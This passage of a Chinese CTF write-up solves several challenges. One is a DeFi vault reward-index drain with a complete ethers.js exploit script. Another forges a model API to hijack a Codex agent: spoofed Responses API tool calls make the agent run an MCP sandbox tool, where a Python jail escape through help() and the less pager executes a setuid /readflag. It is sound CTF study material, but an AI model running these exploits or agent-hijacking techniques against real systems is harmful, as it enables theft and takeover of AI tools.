emit Deposited(msg.sender, token, amount);
}
顺序是先结算、后记账。这个顺序配合上面那个空仓不更新 lastRewardBlock,就能精确卡奖励比例。
下面开始按利用过程走。
1. 先把起始 10 USDC 用起来
玩家手上只有 10 USDC。
vault 的 LTV 是 75%,所以最多能借出价值 7.5 USD 的东西。
WBTC 单价 60000,精度 8 位,所以:
12500 sat = 0.000125 BTC = 7.5 USD
刚好能借。
所以第一步是:
deposit(USDC, 10e6)borrow(WBTC, USDC, 12500)
这一步做完,玩家手里有 12500 sat,后面全靠这点 WBTC 当作“调奖励比例的筹码”。
2. 第一轮,先拿 600000 USDC
这一轮我用两个地址:
- 玩家自己
alt1
操作顺序如下:
- 玩家把
2 sat转给alt1 alt1.deposit(WBTC, 2)- 玩家自己
deposit(WBTC, 3) - 玩家
claimRewards(WBTC)
这里按块号记一下更清楚。假设部署 WBTC 市场的那一块是 B0。
前面做完 deposit(USDC)、borrow(WBTC)、转账之后,到了 alt1.deposit(WBTC, 2) 这一笔。
这时 WBTC 市场还没人存过,totalDeposited == 0,所以 _accrueRewards() 直接返回,lastRewardBlock 还是 B0。
然后 alt1 的 2 sat 被记进去:
totalDeposited = 2
接下来玩家执行 deposit(WBTC, 3)。
注意 deposit() 是先 _settlePendingRewards() 再记账,所以这里会先按旧的 totalDeposited = 2 结算从 B0 到当前块的奖励。
如果这一笔所在的块记成 B7,那么:
elapsed = 7
accrued = 7 * 1e12
globalRewardIndex += 7e12 * 1e18 / 2
但这一刻玩家在 WBTC 市场里的 pos.deposited 还是 0,所以这 7 个块的历史奖励他一分钱都不会吃到。他只是拿到了一个已经抬高过的 rewardIndexSnapshot。
然后这笔交易后半段才把玩家的 3 sat 真正记进去:
totalDeposited = 5
player deposited = 3
下一笔就是 claimRewards(WBTC)。
这一步再结算 1 个块,按这时的总存款 5 sat 来分:
1e12 / 5
玩家占 3 份,所以能拿到:
3 * (1e12 / 5) = 6e11
也就是:
600000000000 = 600000 USDC
第一轮结束,玩家手里多了整整 600000 USDC。
3. 把第一轮拿到的 USDC 再存回去
这一步很朴素,就是把刚 claim 到的这 600000 USDC 再拿去做抵押:
deposit(USDC, 600000e6)
这样玩家的 USDC 抵押规模一下就大了很多。
4. 第二轮,再拿 600000 USDC
第二轮我换成另外两个地址:
alt2alt3
这一轮顺序是:
- 玩家提前给
alt2转3 sat - 玩家提前给
alt3转12 sat alt2.deposit(WBTC, 3)alt3.deposit(WBTC, 12)alt3.claimRewards(WBTC)
第一轮结束时,WBTC 市场里已经有:
alt1 = 2
player = 3
totalDeposited = 5
现在从第一轮的 claim 往后推。
先是玩家把 600000 USDC 存回去,这一步不影响 WBTC 市场的 totalDeposited。
然后 alt2.deposit(WBTC, 3) 到来。
这一步先按旧的 totalDeposited = 5 结算奖励,再把 alt2 的 3 sat 记进去,记完以后:
totalDeposited = 8
再下一笔 alt3.deposit(WBTC, 12)。
同理,这一步也是先按旧的 totalDeposited = 8 结算,再给 alt3 建立快照,然后把 12 sat 记进去:
totalDeposited = 20
最后 alt3.claimRewards(WBTC)。
由于 alt3 是在上一笔交易结算完成之后才入场的,所以他不会吃到更早的那部分奖励,他只会拿到这一步新增加的那 1 个块奖励。这个块是按 20 sat 来分的,而 alt3 独占其中 12 sat:
12 / 20 * 1e12 = 6e11
也就是第二笔:
600000 USDC
然后让 alt3 把这笔 USDC 转回玩家,玩家再把这笔钱存回 vault。
到这里,玩家总共已经拿到了两轮奖励:
600000 + 600000 = 1200000 USDC
再加起始那 10 USDC,抵押总量就是:
1200010 USDC
5. 最后一笔,把 vault 里的 WBTC 借空
先算一下玩家现在能借多少。
LTV 还是 75%,所以可借额度大概是:
1200010 * 75% = 900007.5 USD
再看这时候 vault 里剩多少 WBTC。
初始是:
1000000000 sat
中间发生了这些变动:
- 玩家借走
12500 sat - 后面又有
2 + 3 + 3 + 12 = 20 sat被存回了 vault
所以 vault 当前 WBTC 余额是:
1000000000 - 12500 + 20 = 999987520 sat
这部分 WBTC 的价值不到 600000 USD,完全落在玩家当前的借款上限内。
所以最后直接读出 vault 里剩余的 WBTC,整笔借走:
borrow(WBTC, USDC, remainingVaultWBTC)
借完之后:
wbtc.balanceOf(vault) == 0
题目就过了。
6. exp
import fs from "node:fs";
import path from "node:path";
import { fileURLToPath } from "node:url";
import solc from "solc";
import { ethers } from "ethers";
const ROOT = path.dirname(fileURLToPath(import.meta.url));
const SRC_ROOT = path.join(ROOT, "src");
const INITIAL_WBTC_BORROW = 12_500n;
const FIRST_CYCLE_FIRST = 2n;
const FIRST_CYCLE_SECOND = 3n;
const SECOND_CYCLE_FIRST = 3n;
const SECOND_CYCLE_SECOND = 12n;
const CLAIM_TARGET = 600_000n * 10n ** 6n;
function collectSources(dir, out = {}) {
for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
const full = path.join(dir, entry.name);
if (entry.isDirectory()) {
collectSources(full, out);
continue;
}
if (!entry.name.endsWith(".sol")) continue;
const rel = path.relative(ROOT, full).replace(/\\/g, "/");
out[rel] = { content: fs.readFileSync(full, "utf8") };
}
return out;
}
function compileContracts() {
const input = {
language: "Solidity",
sources: collectSources(SRC_ROOT),
settings: {
viaIR: true,
optimizer: { enabled: true, runs: 200 },
evmVersion: "cancun",
outputSelection: {
"*": {
"*": ["abi", "evm.bytecode.object"],
},
},
},
};
const output = JSON.parse(solc.compile(JSON.stringify(input)));
const errors = output.errors ?? [];
const fatal = errors.filter((entry) => entry.severity === "error");
if (fatal.length > 0) {
for (const entry of errors) {
console.error(entry.formattedMessage);
}
throw new Error("solc compilation failed");
}
return output.contracts;
}
function artifact(contracts, file, name) {
const item = contracts[file]?.[name];
if (!item) {
throw new Error(`missing artifact ${file}:${name}`);
}
return item;
}
async function wait(txPromise) {
const tx = await txPromise;
return tx.wait();
}
async function deployLocal(contracts) {
const rpcUrl = process.env.LOCAL_RPC_URL || "http://127.0.0.1:8545";
const provider = new ethers.JsonRpcProvider(rpcUrl);
const deployer = await provider.getSigner(0);
const player = await provider.getSigner(1);
const setupArtifact = artifact(contracts, "src/Setup.sol", "Setup");
const factory = new ethers.ContractFactory(
setupArtifact.abi,
setupArtifact.evm.bytecode.object,
deployer
);
const setup = await factory.deploy(await player.getAddress());
await setup.waitForDeployment();
return {
provider,
deployer,
player,
setupAddress: await setup.getAddress(),
setup,
local: true,
};
}
async function connectRemote(contracts) {
const rpcUrl = process.env.RPC_URL;
const privateKey = process.env.PRIVATE_KEY;
const setupAddress = process.env.SETUP_ADDRESS;
if (!rpcUrl || !privateKey || !setupAddress) {
throw new Error("set RPC_URL, PRIVATE_KEY and SETUP_ADDRESS for remote mode");
}
const provider = new ethers.JsonRpcProvider(rpcUrl);
const player = new ethers.Wallet(privateKey, provider);
const setupArtifact = artifact(contracts, "src/Setup.sol", "Setup");
const setup = new ethers.Contract(setupAddress, setupArtifact.abi, player);
return {
provider,
player,
setupAddress,
setup,
local: false,
};
}
async function fundAlt(context, alt) {
const player = context.player;
const amount = context.local ? 0n : 10n ** 16n;
if (amount === 0n) return;
await wait(
player.sendTransaction({
to: await alt.getAddress(),
value: amount,
})
);
}
async function buildRuntime(context, contracts) {
const player = context.player;
const alts = context.local
? await Promise.all([
context.provider.getSigner(2),
context.provider.getSigner(3),
context.provider.getSigner(4),
])
: [
ethers.Wallet.createRandom().connect(context.provider),
ethers.Wallet.createRandom().connect(context.provider),
ethers.Wallet.createRandom().connect(context.provider),
];
if (!context.local) {
for (const alt of alts) {
await fundAlt(context, alt);
}
}
const setup = context.setup;
const vaultAddress = await setup.vaultProxy();
const wbtcAddress = await setup.wbtc();
const usdcAddress = await setup.usdc();
const vaultArtifact = artifact(contracts, "src/vault/DeepSeaVault.sol", "DeepSeaVault");
const tokenArtifact = artifact(contracts, "src/tokens/MockERC20.sol", "MockERC20");
const vaultPlayer = new ethers.Contract(vaultAddress, vaultArtifact.abi, player);
const wbtcPlayer = new ethers.Contract(wbtcAddress, tokenArtifact.abi, player);
const usdcPlayer = new ethers.Contract(usdcAddress, tokenArtifact.abi, player);
const altViews = alts.map((alt) => ({
signer: alt,
vault: vaultPlayer.connect(alt),
wbtc: wbtcPlayer.connect(alt),
usdc: usdcPlayer.connect(alt),
}));
return {
...context,
alts: altViews,
vaultAddress,
wbtcAddress,
usdcAddress,
vaultPlayer,
wbtcPlayer,
usdcPlayer,
};
}
async function solve(runtime) {
const {
player,
setup,
vaultAddress,
vaultPlayer,
wbtcAddress,
wbtcPlayer,
usdcAddress,
usdcPlayer,
alts,
} = runtime;
const [alt1, alt2, alt3] = alts;
await wait(usdcPlayer.approve(vaultAddress, ethers.MaxUint256));
await wait(wbtcPlayer.approve(vaultAddress, ethers.MaxUint256));
await wait(alt1.wbtc.approve(vaultAddress, ethers.MaxUint256));
await wait(alt2.wbtc.approve(vaultAddress, ethers.MaxUint256));
await wait(alt3.wbtc.approve(vaultAddress, ethers.MaxUint256));
await wait(vaultPlayer.deposit(usdcAddress, 10n * 10n ** 6n));
await wait(vaultPlayer.borrow(wbtcAddress, usdcAddress, INITIAL_WBTC_BORROW));
await wait(wbtcPlayer.transfer(await alt1.signer.getAddress(), FIRST_CYCLE_FIRST));
await wait(wbtcPlayer.transfer(await alt2.signer.getAddress(), SECOND_CYCLE_FIRST));
await wait(wbtcPlayer.transfer(await alt3.signer.getAddress(), SECOND_CYCLE_SECOND));
await wait(alt1.vault.deposit(wbtcAddress, FIRST_CYCLE_FIRST));
await wait(vaultPlayer.deposit(wbtcAddress, FIRST_CYCLE_SECOND));
const beforeClaim = await usdcPlayer.balanceOf(await player.getAddress());
await wait(vaultPlayer.claimRewards(wbtcAddress));
const afterFirstClaim = await usdcPlayer.balanceOf(await player.getAddress());
const firstReward = afterFirstClaim - beforeClaim;
if (firstReward !== CLAIM_TARGET) {
throw new Error(`unexpected first reward payout: got ${firstReward}, expected ${CLAIM_TARGET}`);
}
await wait(vaultPlayer.deposit(usdcAddress, firstReward));
await wait(alt2.vault.deposit(wbtcAddress, SECOND_CYCLE_FIRST));
await wait(alt3.vault.deposit(wbtcAddress, SECOND_CYCLE_SECOND));
const alt3BeforeClaim = await alt3.usdc.balanceOf(await alt3.signer.getAddress());
await wait(alt3.vault.claimRewards(wbtcAddress));
const alt3AfterClaim = await alt3.usdc.balanceOf(await alt3.signer.getAddress());
const secondReward = alt3AfterClaim - alt3BeforeClaim;
if (secondReward !== CLAIM_TARGET) {
throw new Error(`unexpected second reward payout: got ${secondReward}, expected ${CLAIM_TARGET}`);
}
await wait(alt3.usdc.transfer(await player.getAddress(), secondReward));
await wait(vaultPlayer.deposit(usdcAddress, secondReward));
const remaining = await wbtcPlayer.balanceOf(vaultAddress);
await wait(vaultPlayer.borrow(wbtcAddress, usdcAddress, remaining));
const solved = await setup.isSolved();
if (!solved) {
throw new Error("challenge is not solved");
}
const finalVaultWbtc = await wbtcPlayer.balanceOf(vaultAddress);
return {
solved,
reward: firstReward + secondReward,
finalVaultWbtc,
player: await player.getAddress(),
alt1: await alt1.signer.getAddress(),
alt2: await alt2.signer.getAddress(),
alt3: await alt3.signer.getAddress(),
};
}
async function main() {
const contracts = compileContracts();
const mode = (process.env.MODE || "local").toLowerCase();
const context = mode === "remote"
? await connectRemote(contracts)
: await deployLocal(contracts);
const runtime = await buildRuntime(context, contracts);
const result = await solve(runtime);
console.log(JSON.stringify({
mode,
setup: context.setupAddress,
rewardUSDC: result.reward.toString(),
finalVaultWbtc: result.finalVaultWbtc.toString(),
solved: result.solved,
player: result.player,
alt1: result.alt1,
alt2: result.alt2,
alt3: result.alt3,
}, null, 2));
}
main().catch((err) => {
console.error(err);
process.exit(1);
});
脚本里对应的几个关键常量是:
const INITIAL_WBTC_BORROW = 12_500n;
const FIRST_CYCLE_FIRST = 2n;
const FIRST_CYCLE_SECOND = 3n;
const SECOND_CYCLE_FIRST = 3n;
const SECOND_CYCLE_SECOND = 12n;
const CLAIM_TARGET = 600_000n * 10n ** 6n;
跑远端时只要带上平台给的三个参数:
$env:MODE='remote'
$env:RPC_URL='http://...'
$env:PRIVATE_KEY='0x...'
$env:SETUP_ADDRESS='0x...'
node solve.js
最后拿到:
SCTF{d33p_s34_f1n4nc3_!$_dr41n3d_2026@#^&*}
Don’t poison me

某大厂自研漏挖 Agent,大家自己配置 API 就能挖漏洞
所以一开始就要注意:这题重点不是传统 Web 注入,也不是图片隐写,而是 Agent / API 投毒。
解压附件后主要文件如下:
dont_poison_me/
├── Dockerfile
├── docker-compose.yml
└── bin/
├── readflag.c
├── start.sh
└── src/
├── server.py
├── sandbox_eval.py
├── sandbox_mcp.py
└── codex_config.toml
几个关键文件作用:
server.py Web 服务入口,接收用户输入的 API URL 和 API Key
codex_config.toml Codex 配置,指定使用 Responses API 和 MCP 工具
sandbox_mcp.py MCP 工具服务,暴露 sandbox_eval 工具
sandbox_eval.py 真正的 Python 沙箱
readflag.c setuid 程序,用于读取 /flag
server.py 中 /run 和 /api/run 会接收用户传入的:
url = form.get("url", "")
api_key = form.get("api_key", "")

然后调用:

继续跟进:

核心在 run_codex:

也就是说,用户填的 API URL 会作为 Codex 的模型供应商地址。
codex_command 中可以看到:

这里禁用了普通 shell 工具,但是没有禁用 MCP 工具。
所以整体逻辑是:
用户提交 API URL
↓
题目服务器启动 Codex
↓
Codex 把用户提供的 URL 当作模型 API
↓
Codex 请求我们的 /v1/responses
↓
我们伪造模型响应
↓
让 Codex 调用题目内置 MCP 工具
codex_config.toml 里有几个关键配置:
model = "gpt-5"
model_provider = "challenge"
forced_login_method = "api"
enable_codex_api_key_env = true
approval_policy = "never"
sandbox_mode = "read-only"
disable_response_storage = true
web_search = "disabled"
模型供应商配置:
[model_providers.challenge]
name = "Contestant API"
base_url = "http://127.0.0.1"
wire_api = "responses"
env_key = "CONTESTANT_API_KEY"
supports_websockets = false
stream_max_retries = 1
request_max_retries = 1
重点是:
wire_api = "responses"
说明 Codex 使用的是 Responses API,继续看 MCP 配置:
[mcp_servers.sandbox]
command = "python3"
args = ["/app/sandbox_mcp.py"]
startup_timeout_sec = 5
tool_timeout_sec = 8
required = true
enabled_tools = ["sandbox_eval"]
default_tools_approval_mode = "approve"
[mcp_servers.sandbox.tools.sandbox_eval]
approval_mode = "approve"
说明 Codex 挂载了一个 MCP 服务,里面有一个工具:
sandbox_eval
并且 approval 是 approve,也就是说模型只要发起工具调用,Codex 就会执行它。
sandbox_mcp.py 中注册了工具:

工具名是:
sandbox_eval
它接收参数:
stdin: str
然后传入:
run_sandbox_with_pty(stdin)
注意这里是 PTY,不是普通管道。
run_sandbox_with_pty 中环境变量如下:

这里是后面利用成功的关键:
PAGER=less
LESS=-R -X
说明如果 Python 的 help() 进入分页模式,会调用 less。
sandbox_eval.py 内容如下:
#!/usr/bin/env python3
import sys
ALLOWED = "abcdefghijklmnopqrstuvwxyz:_.[]"
MAX_INPUT = 60
def main() -> None:
try:
raw = input("> ")
except EOFError:
print("no input")
return
if len(raw) > MAX_INPUT:
print("input too long")
return
code = "".join(ch for ch in raw if ch in ALLOWED)
try:
result = eval(code, {"__builtins__": __builtins__}, {})
except Exception as exc:
print(f"{type(exc).__name__}: {exc}")
return
if result is not None:
print("ok")
限制点:
ALLOWED = "abcdefghijklmnopqrstuvwxyz:_.[]"
MAX_INPUT = 60
也就是说第一行输入最多 60 个字符,而且过滤后只剩:
小写字母
:
_
.
[
]
所以普通命令执行写不了。
例如下面这些都不行:
import os
os.system("/readflag")
原因是包含:
空格
括号
引号
斜杠
都会被过滤掉。
但是这里有一个问题:
eval(code, {"__builtins__": __builtins__}, {})
虽然限制了字符,但 __builtins__ 仍然完整暴露。
因此可以访问内置对象,例如:
help
object
绕过逻辑
最终第一行 payload 是:
[help[object]for[help.__class__.__getitem__]in[[help]]]
长度检查:
55
小于 60。
字符检查:
只包含 a-z : _ . [ ]
符合沙箱限制。
这行 payload 的作用是触发:
help(object)
正常写法是:
help(object)
但是括号 (、) 不在允许字符里,所以不能直接写。
于是利用 Python list comprehension 的赋值语义。
payload:
[help[object]for[help.__class__.__getitem__]in[[help]]]
正常情况下 help[object] 是下标访问,会调用:
help.__class__.__getitem__(help, object)
而我们刚才已经把 __getitem__ 改成了 help。
于是它相当于执行:
help(object)
help(object) 会输出大量帮助文档。
因为 MCP 使用 PTY,并且环境变量里配置了:
PAGER=less
所以帮助文档会进入 less 分页器。
进入 less 后,后续 stdin 不再经过 sandbox_eval.py 的字符过滤。
less 有一个功能:
!command
可以执行 shell 命令。
所以在 less 里输入:
!/readflag
就可以执行:
/readflag
而 Dockerfile 中:
RUN gcc /tmp/readflag.c -o /readflag && \
chown -R root:root /app /start.sh /pushflag.sh /readflag /flag && \
chmod 4755 /readflag && \
chmod 400 /flag
/readflag 是 setuid root 程序,可以读取权限为 400 的 /flag。
因此完整传给 sandbox_eval 的 stdin 是:
[help[object]for[help.__class__.__getitem__]in[[help]]]
!/readflag
q
逻辑是:
触发 help(object),进入 less
在 less 中执行 /readflag
空行,相当于回车确认
q,退出 less
由于 Codex 使用的是 Responses API,所以我们的假 API 至少要支持:
GET /v1/models
POST /v1/responses
实际测试中 Codex 请求里有:
"stream": true
所以不能只返回普通 JSON,必须返回 SSE 流式事件。
如果直接返回普通 JSON,会出现类似错误:
stream disconnected before completion
或者:
stream closed before response.completed
最终脚本如下
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import json
import sys
import time
JAIL_STDIN = (
"[help[object]for[help.__class__.__getitem__]in[[help]]]\n"
"!/readflag\n"
"\n"
"q\n"
)
CALL_ID = "call_dpm_1"
def rid():
return "resp_%x" % int(time.time() * 1000000)
def response_obj(resp_id, output):
return {
"id": resp_id,
"object": "response",
"created_at": int(time.time()),
"status": "completed",
"model": "gpt-5",
"output": output,
"parallel_tool_calls": False,
"error": None,
"incomplete_details": None,
"metadata": {},
"usage": {
"input_tokens": 0,
"output_tokens": 0,
"total_tokens": 0,
},
}
def sse(handler, events):
handler.send_response(200)
handler.send_header("Content-Type", "text/event-stream; charset=utf-8")
handler.send_header("Cache-Control", "no-cache")
handler.send_header("Connection", "keep-alive")
handler.end_headers()
for ev in events:
data = json.dumps(ev, ensure_ascii=False)
handler.wfile.write(("event: %s\n" % ev.get("type", "message")).encode())
handler.wfile.write(("data: %s\n\n" % data).encode())
handler.wfile.flush()
handler.wfile.write(b"data: [DONE]\n\n")
handler.wfile.flush()
def as_json(handler, obj):
body = json.dumps(obj, ensure_ascii=False).encode()
handler.send_response(200)
handler.send_header("Content-Type", "application/json; charset=utf-8")
handler.send_header("Content-Length", str(len(body)))
handler.end_headers()
handler.wfile.write(body)
def walk_strings(x):
if isinstance(x, str):
yield x
elif isinstance(x, dict):
for v in x.values():
yield from walk_strings(v)
elif isinstance(x, list):
for v in x:
yield from walk_strings(v)
def has_tool_output(x):
if isinstance(x, dict):
if x.get("type") in {
"function_call_output",
"mcp_tool_call_output",
"custom_tool_call_output",
}:
return True
return any(has_tool_output(v) for v in x.values())
if isinstance(x, list):
return any(has_tool_output(v) for v in x)
return False
def choose_tool_name(body):
"""
Codex 请求体中的工具大概率是 namespace 结构,例如:
{
"type": "namespace",
"name": "mcp__sandbox",
"tools": [
{
"type": "function",
"name": "sandbox_eval"
}
]
}
Responses API 返回 function_call 时需要:
namespace = mcp__sandbox
name = sandbox_eval
"""
tools = body.get("tools") or []
stack = [(None, t) for t in tools]
while stack:
ns, t = stack.pop(0)
if not isinstance(t, dict):
continue
name = str(t.get("name") or "")
namespace = t.get("namespace") or ns
if "sandbox_eval" in name:
return name, namespace
if t.get("server_label"):
namespace = t.get("server_label")
if t.get("type") == "namespace" and name:
namespace = name
for key in ("tools", "functions", "function_tools"):
for sub in t.get(key) or []:
stack.append((namespace, sub))
return "sandbox_eval", None
def tool_call_events(body):
resp_id = rid()
name, namespace = choose_tool_name(body)
item = {
"type": "function_call",
"id": "fc_dpm_1",
"call_id": CALL_ID,
"name": name,
"arguments": json.dumps({"stdin": JAIL_STDIN}),
"status": "completed",
}
if namespace:
item["namespace"] = namespace
added = dict(item)
added["arguments"] = ""
return [
{
"type": "response.created",
"response": response_obj(resp_id, []),
},
{
"type": "response.output_item.added",
"response_id": resp_id,
"output_index": 0,
"item": added,
},
{
"type": "response.function_call_arguments.done",
"response_id": resp_id,
"item_id": item["id"],
"output_index": 0,
"arguments": item["arguments"],
},
{
"type": "response.output_item.done",
"response_id": resp_id,
"output_index": 0,
"item": item,
},
{
"type": "response.completed",
"response": response_obj(resp_id, [item]),
},
]
def final_events(body):
resp_id = rid()
text = "TOOL OUTPUT:\n" + "\n".join(walk_strings(body.get("input", body)))
text = text[-12000:]
msg = {
"type": "message",
"id": "msg_dpm_1",
"status": "completed",
"role": "assistant",
"content": [
{
"type": "output_text",
"text": text,
"annotations": [],
}
],
}
return [
{
"type": "response.created",
"response": response_obj(resp_id, []),
},
{
"type": "response.output_text.delta",
"response_id": resp_id,
"item_id": msg["id"],
"output_index": 0,
"content_index": 0,
"delta": text,
},
{
"type": "response.output_item.done",
"response_id": resp_id,
"output_index": 0,
"item": msg,
},
{
"type": "response.completed",
"response": response_obj(resp_id, [msg]),
},
]
class Handler(BaseHTTPRequestHandler):
def log_message(self, fmt, *args):
sys.stderr.write("%s - %s\n" % (self.address_string(), fmt % args))
def do_GET(self):
if self.path.startswith("/v1/models"):
as_json(
self,
{
"object": "list",
"data": [
{
"id": "gpt-5",
"object": "model",
"created": int(time.time()),
"owned_by": "dont-poison-me",
}
],
},
)
return
self.send_response(200)
self.end_headers()
self.wfile.write(b"ok\n")
def do_POST(self):
n = int(self.headers.get("content-length", "0"))
raw = self.rfile.read(n)
try:
body = json.loads(raw or b"{}")
except Exception:
body = {}
print("\n=== REQUEST %s ===" % self.path, file=sys.stderr)
print(json.dumps(body, ensure_ascii=False)[:8000], file=sys.stderr)
if self.path.startswith("/v1/responses"):
if has_tool_output(body.get("input", body)):
events = final_events(body)
else:
events = tool_call_events(body)
if body.get("stream", True):
sse(self, events)
else:
as_json(self, events[-1]["response"])
return
as_json(self, {"error": "unsupported path"})
if __name__ == "__main__":
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8000
print(f"listening on 0.0.0.0:{port}", flush=True)
ThreadingHTTPServer(("0.0.0.0", port), Handler).serve_forever()
本地启动假 API:
python3 evil_responses.py 8000

然后用 localtunnel 暴露公网:
npx --yes localtunnel --port 8000


WARNING: proceeding, even though we could not create PATH aliases: Refusing to create helper binaries under temporary dir "/tmp" (codex_home: AbsolutePathBuf("/tmp/codex-home-p4_73y73"))
Reading additional input from stdin...
{"type":"thread.started","thread_id":"019ec57d-d2d4-7061-a52c-507b64994952"}
{"type":"turn.started"}
{"type":"item.started","item":{"id":"item_0","type":"mcp_tool_call","server":"sandbox","tool":"sandbox_eval","arguments":{"stdin":"[help[object]for[help.__class__.__getitem__]in[[help]]]\n!/readflag\n\nq\n"},"result":null,"error":null,"status":"in_progress"}}
{"type":"item.completed","item":{"id":"item_0","type":"mcp_tool_call","server":"sandbox","tool":"sandbox_eval","arguments":{"stdin":"[help[object]for[help.__class__.__getitem__]in[[help]]]\n!/readflag\n\nq\n"},"result":{"content":[{"type":"text","text":"[help[object]for[help.__class__.__getitem__]in[[help]]]\r\n!/readflag\r\n\r\nq\r\n> \u001b[?1h\u001b=\rHelp on class object in module builtins:\u001b[m\r\n\u001b[m\r\nclass \u001b[1mobject\u001b[0m\u001b[m\r\n | The base class of the class hierarchy.\u001b[m\r\n |\u001b[m\r\n | When called, it accepts no arguments and returns a new featureless\u001b[m\r\n | instance that has no instance attributes and cannot be given any.\u001b[m\r\n |\u001b[m\r\n | Built-in subclasses:\u001b[m\r\n | anext_awaitable\u001b[m\r\n | async_generator\u001b[m\r\n | async_generator_asend\u001b[m\r\n | async_generator_athrow\u001b[m\r\n | ... and 90 other subclasses\u001b[m\r\n |\u001b[m\r\n | Methods defined here:\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__delattr__\u001b[0m(self, name, /)\u001b[m\r\n | Implement delattr(self, name).\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__dir__\u001b[0m(self, /)\u001b[m\r\n | Default dir() implementation.\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__eq__\u001b[0m(self, value, /)\u001b[m\r\n | Return self==value.\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__format__\u001b[0m(self, format_spec, /)\u001b[m\r\n | Default object formatter.\u001b[m\r\n |\u001b[m\r\n:\u001b[K\r\u001b[K!\u001b[K/\b/\u001b[Kr\br\u001b[Ke\be\u001b[Ka\ba\u001b[Kd\bd\u001b[Kf\bf\u001b[Kl\bl\u001b[Ka\ba\u001b[Kg\bg\r\u001b[K\r\u001b[K!/readflag\r\n\u001b[?1l\u001b>flag{jcHSeoc6v4dFEvd1hfoimoJG3hHoRIlN}\r\n!done (press RETURN)\r\n\u001b[?1h\u001b=\r...skipping...\r\nHelp on class object in module builtins:\u001b[m\r\n\u001b[m\r\nclass \u001b[1mobject\u001b[0m\u001b[m\r\n | The base class of the class hierarchy.\u001b[m\r\n |\u001b[m\r\n | When called, it accepts no arguments and returns a new featureless\u001b[m\r\n | instance that has no instance attributes and cannot be given any.\u001b[m\r\n |\u001b[m\r\n | Built-in subclasses:\u001b[m\r\n | anext_awaitable\u001b[m\r\n | async_generator\u001b[m\r\n | async_generator_asend\u001b[m\r\n | async_generator_athrow\u001b[m\r\n | ... and 90 other subclasses\u001b[m\r\n |\u001b[m\r\n | Methods defined here:\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__delattr__\u001b[0m(self, name, /)\u001b[m\r\n | Implement delattr(self, name).\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__dir__\u001b[0m(self, /)\u001b[m\r\n | Default dir() implementation.\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__eq__\u001b[0m(self, value, /)\u001b[m\r\n | Return self==value.\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__format__\u001b[0m(self, format_spec, /)\u001b[m\r\n | Default object formatter.\u001b[m\r\n |\u001b[m\r\n:\u001b[K\r\u001b[K\u001b[?1l\u001b>\r\nok\r\n"}],"structured_content":{"result":"[help[object]for[help.__class__.__getitem__]in[[help]]]\r\n!/readflag\r\n\r\nq\r\n> \u001b[?1h\u001b=\rHelp on class object in module builtins:\u001b[m\r\n\u001b[m\r\nclass \u001b[1mobject\u001b[0m\u001b[m\r\n | The base class of the class hierarchy.\u001b[m\r\n |\u001b[m\r\n | When called, it accepts no arguments and returns a new featureless\u001b[m\r\n | instance that has no instance attributes and cannot be given any.\u001b[m\r\n |\u001b[m\r\n | Built-in subclasses:\u001b[m\r\n | anext_awaitable\u001b[m\r\n | async_generator\u001b[m\r\n | async_generator_asend\u001b[m\r\n | async_generator_athrow\u001b[m\r\n | ... and 90 other subclasses\u001b[m\r\n |\u001b[m\r\n | Methods defined here:\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__delattr__\u001b[0m(self, name, /)\u001b[m\r\n | Implement delattr(self, name).\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__dir__\u001b[0m(self, /)\u001b[m\r\n | Default dir() implementation.\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__eq__\u001b[0m(self, value, /)\u001b[m\r\n | Return self==value.\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__format__\u001b[0m(self, format_spec, /)\u001b[m\r\n | Default object formatter.\u001b[m\r\n |\u001b[m\r\n:\u001b[K\r\u001b[K!\u001b[K/\b/\u001b[Kr\br\u001b[Ke\be\u001b[Ka\ba\u001b[Kd\bd\u001b[Kf\bf\u001b[Kl\bl\u001b[Ka\ba\u001b[Kg\bg\r\u001b[K\r\u001b[K!/readflag\r\n\u001b[?1l\u001b>flag{jcHSeoc6v4dFEvd1hfoimoJG3hHoRIlN}\r\n!done (press RETURN)\r\n\u001b[?1h\u001b=\r...skipping...\r\nHelp on class object in module builtins:\u001b[m\r\n\u001b[m\r\nclass \u001b[1mobject\u001b[0m\u001b[m\r\n | The base class of the class hierarchy.\u001b[m\r\n |\u001b[m\r\n | When called, it accepts no arguments and returns a new featureless\u001b[m\r\n | instance that has no instance attributes and cannot be given any.\u001b[m\r\n |\u001b[m\r\n | Built-in subclasses:\u001b[m\r\n | anext_awaitable\u001b[m\r\n | async_generator\u001b[m\r\n | async_generator_asend\u001b[m\r\n | async_generator_athrow\u001b[m\r\n | ... and 90 other subclasses\u001b[m\r\n |\u001b[m\r\n | Methods defined here:\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__delattr__\u001b[0m(self, name, /)\u001b[m\r\n | Implement delattr(self, name).\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__dir__\u001b[0m(self, /)\u001b[m\r\n | Default dir() implementation.\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__eq__\u001b[0m(self, value, /)\u001b[m\r\n | Return self==value.\u001b[m\r\n |\u001b[m\r\n | \u001b[1m__format__\u001b[0m(self, format_spec, /)\u001b[m\r\n | Default object formatter.\u001b[m\r\n |\u001b[m\r\n:\u001b[K\r\u001b[K\u001b[?1l\u001b>\r\nok\r\n"}},"error":null,"status":"completed"}}
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{"type":"turn.completed","usage":{"input_tokens":0,"cached_input_tokens":0,"output_tokens":0,"reasoning_output_tokens":0}}
GateCrash
题目给了一个基于 ERC-4337 账户抽象模型的简化合约系统,核心合约包括:
EntryPoint.solBaseAccount.solAccountFactory.solIAccount.solIEntryPoint.solIPaymaster.sol
远程服务会部署一个 Setup 合约,并创建两个账户:
adminAccountattackerAccount
目标是让 Setup.isSolved() 返回 true。实际远程环境中,转走 adminAccount 中的 ETH 后即可通过检查。
漏洞分析
EntryPoint 的执行流程
EntryPoint.handleOps() 分为两个阶段:
function handleOps(
